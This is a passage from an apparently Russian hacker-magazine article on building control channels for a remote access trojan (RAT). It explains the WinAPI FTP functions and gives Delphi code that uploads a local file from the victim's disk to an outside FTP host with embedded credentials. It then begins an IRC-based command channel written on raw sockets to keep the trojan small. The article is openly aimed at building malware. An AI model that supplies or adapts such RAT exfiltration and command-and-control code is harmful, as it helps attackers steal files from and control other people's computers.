Управление RAT Ms-Rem Хакер, номер #079, стр. 079-108-7 function InternetConnect (hInet: HINTERNET; lpszServerName: PChar; nServerPort: INTERNET_PORT; lpszUsername: PChar; lpszPassword: PChar; dwService: DWORD; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall; Параметры: hInet - указатель, полученный после вызова InternetOpen. LpszServerName - имя сервера, с которым нужно установить соединение и который может быть как именем хоста (например, ftp.narod.ru), так и IP-адресом (127.0.0.1). NServerPort - указывает на TCP-порт, с которым нужно соединиться. В нашем случае это будет 21 порт. LpszUsername - имя пользователя, желающего установить соединение. Если установлено в nil, то будет использовано имя по умолчанию, однако для HTTP это вызовет исключение. LpszPassword - пароль пользователя для доступа к серверу. Если оба значения установить в nil, то будут использованы параметры по умолчанию. DwService - задает сервис, который требуется от сервера. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOPHER, INTERNET_SERVICE_HTTP. DwFlags - специфические параметры для соединения. Например, если DwService установлен в INTERNET_SERVICE_FTP, то можно установить в INTERNET_FLAG_PASSIVE для использования пассивного режима. Функция возвращает указатель на установленное соединение или, в случае невозможности его установки, nil. Когда уже имеется связь с сервером (получили указатель), то есть когда нужный нам порт открыт, можно закачать файл. Для этого существует функция FtpPutFile: function FtpPutFile(hConnect: HINTERNET; lpszLocalFile: PChar; lpszNewRemoteFile: PChar; dwFlags: DWORD; dwContext: DWORD): BOOL; stdcall; Параметры: hConnect - указатель на соединение, установленное InternetConnect. lpszLocalFile - путь к локальному файлу на диске. lpszNewRemoteFile - путь к файлу, закачиваемому на сервер. dwFlags - параметры закачки. Лучше всего всегда устанавливать как FTP_TRANSFER_TYPE_BINARY, что заставит передавать файл как бинарные данные, а не как ASCII-текст. Закачка файла полностью будет выглядеть так: begin hInternet := InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); hConnect := InternetConnect(hInternet, 'ftp.narod.ru', 21, 'Ms-Rem', '*****', INTERNET_SERVICE_FTP, 0, 0); if hConnect <> nil then begin FtpPutFile(hConnect, 'c:\readme.txt', 'NewText.txt', FTP_TRANSFER_TYPE_BINARY, 0); InternetCloseHandle(hConnect); end; InternetCloseHandle(hInternet); end. Слава Гейтсу, с FTP разобрались. Пора переходить к более сложным вещам. [IRC] IRC-протокол - штука весьма удобная для управления RAT. Но, к сожалению, дядя Билл не так хорошо позаботился о нашем процветании, как этого хотелось бы, и в WinAPI мы абсолютно ничего не имеем для IRC. Поискав в интернете чего-нибудь на эту тему, я обнаружил только рекомендации использовать VCL-компоненты для работы с IRC. Но все они очень громоздки и неповоротливы (что критично для RAT), поэтому реализацию IRC-протокола на сокетах придется писать самостоятельно. Для начала неплохо было бы ознакомиться с RFC 1459, описывающей устройство протокола. Но… один только взгляд на документацию - и внутри тебя все холодеет из-за ее размера и количества всевозможных команд, кодов ошибок и т.п. К счастью, половина всего этого относится к обмену данными между IRC-серверами, и мы можем смело пропустить ее, а из оставшейся части нам пригодится лишь несколько основных команд. |